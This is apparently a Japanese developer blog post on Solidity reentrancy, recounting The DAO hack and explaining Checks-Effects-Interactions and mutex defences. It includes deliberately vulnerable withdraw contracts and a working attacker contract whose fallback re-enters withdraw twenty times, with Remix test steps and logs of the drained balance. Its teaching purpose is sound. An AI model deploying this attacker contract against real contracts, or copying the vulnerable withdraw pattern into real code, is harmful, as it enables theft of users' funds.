リエントラント(再入可能)再考
The DAO Hackなど実際の攻撃事例を生み出してきたリエントラント(再入可能)ですが、攻撃者にとって現在最も実用的だと思われますので概要含めて対策方法をまとめました。この攻撃が可能なトークンはまだまだ探せば出てきそうです。どうでもいいんですが、リエントラント(再入可能)、MTGに名前出てきそう。
The DAO hack
The DAO HackはEthereumハードフォークの直接の原因にもなった事件で、50億から65億円に相当するetherが攻撃者へ不正に送信(送金?)されました。ハードフォーク後はEthereumとEthereum Classicにブロックチェーンが分断されたまま現在も運用が続いている状況です。攻撃に使用されたリエントラント(再入可能)については既に多くの解説があるものの、個人的見直しの意味も含め、有効な実装方法の1つであるCEIパターン(Checks-Effects-Interactions patterns)と共に見直したいと思います。
Bloomberg記事(英語)[1]
https://www.bloomberg.com/features/2017-the-ether-thief/
リエントラント(再入可能)とは
‘Security Considerations’ではリエントラント(再入可能)を以下のように説明しています。コントラクトAとコントラクトBの間で競合状態を発生させて、相互再帰可能な処理がある状態と言えます。etherの送付を伴うと書かれていますが、etherの送付によってfallback関数が呼ばれることを悪用したパターンが多いだけであって、必ずしもetherの送付を伴う処理だけがリエントラントを引き起こすわけではありません。[2]
etherの送付を伴うあるコントラクトAから他のコントラクトBに対する処理において、コントラクトAにおけるその処理が完了する前にコントラクトBがコントラクトAを呼び出し可能となること。
リエントラントのバグをついた攻撃の例として以下のコードが掲載されています。ファンドコントラクトにトークンを保持してwithdraw()関数でトークンをetherに換金できるという処理だと思いますが、etherの送付はfallback関数の呼び出しを発生させるため、呼び出し元コントラクトのfallback関数で再度ファンドのwithdraw()関数を呼び出すことが可能となります。トークン残高を0とする処理の前にcallによる送金処理があることが問題となっています。
pragma solidity ^0.4.0;
// THIS CONTRACT CONTAINS A BUG - DO NOT USE
contract Fund {
/// Mapping of ether shares of the contract.
mapping(address => uint) shares;
/// Withdraw your share.
function withdraw() public {
if (msg.sender.call.value(shares[msg.sender])())
shares[msg.sender] = 0;
}
}
いくつかの事例においてcallによるfallback関数の呼び出しパターンがもっとも頻繁にでてきますが、アドレスに対するetherの送付自体がfallback関数(payableのもの)をトリガーするためsendやtransferの使用時にもfallback関数が呼ばれることには注意が必要となります。sendおよびtransferがリエントラント(再入可能)に対して安全と言われるのは2,300
ガスしか送られないために、再度コールバックすることができないためです。2,300
ガスはロギング程度しか実質できず、コントラクトの作成、外部関数の呼び出し、etherの送付などはより高コストなためです(ここでtransferはrequire(send)と同等に扱えます)。[3] [4]
- 例外を発生させます
2,300
ガスの送付のみでロギング程度にしか使用できません- リエントラント(再入可能)に対して安全です
false
を返します2,300
ガスの送付のみでロギング程度にしか使用できません- リエントラント(再入可能)に対して安全です
false
を扱いたいケースに対してのみ使用してください
false
を返します- 送付するガスは調整可能で、リエントラント(再入可能)に対して安全ではありません
- 送付するガスの量を指定したいときのみ使用してください
- 他コントラクトの特定の関数を呼び出したいときのみ使用してください
上記の例に対してはtransferを使用して送金するということ、合わせてetherを送金する前にトークン残高を0にしておくことで対策が可能となります。この処理順序はCEI(Checks Effects Interactions patterns)パターンとして紹介されています。
pragma solidity ^0.4.11;
contract Fund {
/// Mapping of ether shares of the contract.
mapping(address => uint) shares;
/// Withdraw your share.
function withdraw() public {
var share = shares[msg.sender]; // Check
shares[msg.sender] = 0; // Effect
msg.sender.transfer(share); // Interaction
}
}
callは本来のバイトコードを実行する目的以外では、etherを送付するためでなくfallback関数以外の特定の関数を明示的に呼び出したいときに使用することができます。
if (!contractAddress.call.gas(numeric gas amount)(bytes4(keccak256("someFunc(uint256)")), "someFunc uint value")) {
revert;
}
Use the Checks-Effects-Interactions Pattern
Most functions will first perform some checks (who called the function, are the arguments in range, did they send enough Ether, does the person have tokens, etc.). These checks should be done first. 最初に確認処理をする(関数の呼び出し元、引数の整合性、処理するEtherやトークン等の確認)
As the second step, if all checks passed, effects to the state variables of the current contract should be made. Interaction with other contracts should be the very last step in any function. 上記確認に問題ない場合に、コントラクトの変数の状態を変更する。実際の処理は最後に実行する。
Early contracts delayed some effects and waited for external function calls to return in a non-error state. This is often a serious mistake because of the re-entrancy problem explained above. リエントラント(再入可能)の問題を引き起こすことから、変数の状態を変更することは外部呼び出しの後にすべきではない。
Mutexを使用するパターン
こちらのサイトにはMutexによる対策例が記載されています。この例においてもcallが使用されていますが、lockBalancesによってロックされている間は再度withdraw関数を処理することができません。このパターンは効果的に見えます。但し、Mutexにはデッドロック・ライヴロックなどロックを解放する方法がない潜在的な危険性があることに注意してください。コントラクトはデプロイしてしまうと書き換えできないため慎重な設計およびテストが必要となります。[5]
function withdraw() public {
require(!lockBalances && balances[msg.sender] > 0);
lockBalances = true;
if (msg.sender.call.value(balances[msg.sender])()) {
balances[msg.sender] = 0;
}
lockBalances = false;
}
リエントラント(再入可能)サンプルコード
リエントラント(再入可能)の動作を確認するためにsolidity 0.4.23で以下のようなコードをテストしてみました。Remix上でテスト可能なようにReentrancyという攻撃対象となるトークンコントラクトとPokerという攻撃者が用意したと想定したコントラクトをコーディングしています。ブロックチェーンへのデプロイはせずRemix上のJava VM上でのみ展開しました。
pragma solidity 0.4.23;contract Reentrancy { mapping(address => uint) public balances;
uint private totalSupply; constructor(uint initialSupply) public payable {
totalSupply = initialSupply;
balances[msg.sender] = initialSupply;
}
function() public payable {}
function transfer(address _to, uint _value) public returns(bool) {
if (balances[msg.sender] < _value) return false;
balances[msg.sender] -= _value;
balances[_to] += _value;
return true;
} function withdraw() public {
if(msg.sender.call.value(balances[msg.sender])()) {
balances[msg.sender] = 0;
}
} function getBalance() public constant returns(uint) {
return address(this).balance;
}
}contract Poker {
Reentrancy reentrancy;
uint public count;
event LogFallback(uint count, uint balance);
constructor(address _target) public payable {
reentrancy = Reentrancy(_target);
}
function pull() public {
reentrancy.withdraw();
}
function() public payable {
count ++;
emit LogFallback(count, address(this).balance);
if(count < 20) { reentrancy.withdraw(); }
}
function getBalance() public constant returns(uint) {
return address(this).balance;
}
}
テスト手順
- Reentrancyコントラクトをアカウント1からデプロイします、デプロイの際に1 etherをvalueとして送付します、totalSupplyを任意の値にします(10000トークンとしてテストしました)
- Pokerコントラクトをアカウント2からデプロイします、デプロイの際に1 etherをvalueとして送付します
- アカウント1が持つトークンから任意のトークン数をPokerコントラクトへReentrancyコントラクトのtransfer関数を利用して送ります(半分の5000トークンを移転しました)
- Pokerコントラクトの悪意のある関数であるpullを実行します、pullはwithdraw関数を呼び出すため保持しているトークンと引き換えにetherが返金されますが、リエントラントのバグをついているためにwithdraw関数が20回連続して呼び出されました
以下がPokerコントラクトのpull関数がトリガーされた際のログですが、本来は1度しか呼び出されないwithdrawが20回呼び出され、5000 weiではなく20倍の100,000 weiがPokerコントラクトの残高に戻ってきました。
{
"from": "0x0fdf4894a3b7c5a101686829063be52ad45bcfb7",
"topic": "0xf4159b37750c1f8102b811a1409a82c505fb...",
"event": "LogFallback",
"args": {
"0": "1",
"1": "1000000000000005000",
"count": "1",
"balance": "1000000000000005000",
"length": 2
}
},
{
"from": "0x0fdf4894a3b7c5a101686829063be52ad45bcfb7",
"topic": "0xf4159b37750c1f8102b811a1409a82c505fb...",
"event": "LogFallback",
"args": {
"0": "2",
"1": "1000000000000010000",
"count": "2",
"balance": "1000000000000010000",
"length": 2
}
},
{
"from": "0x0fdf4894a3b7c5a101686829063be52ad45bcfb7",
"topic": "0xf4159b37750c1f8102b811a1409a82c505fb...",
"event": "LogFallback",
"args": {
"0": "3",
"1": "1000000000000015000",
"count": "3",
"balance": "1000000000000015000",
"length": 2
}
},
...
...
...
{
"from": "0x0fdf4894a3b7c5a101686829063be52ad45bcfb7",
"topic": "0xf4159b37750c1f8102b811a1409a82c505fb...",
"event": "LogFallback",
"args": {
"0": "20",
"1": "1000000000000100000",
"count": "20",
"balance": "1000000000000100000",
"length": 2
}
}
GitHubにsolidityのコードを掲載しています。テストコードは上記のテスト手順と同じ動作をします。pullを呼び出すことでトークン残高だけのetherが引き出されることを正としていますので、その箇所のテストは失敗するようになっています。
まとめ
- リエントラント(再入可能)は複数のコントラクトの競合状態により相互再帰の状態を引き起こすバグである
- etherを送付する際、ガスの制限のためにsendおよびtransferはリエントラントに対して安全であるとされる
- リエントラントへの対策として主にCEIパターン(Checks-Effects-Interactions patterns)、Mutexのコーディングが考えられる
- callなどetherの送付をトリガーとして外部コールバックする攻撃が散見される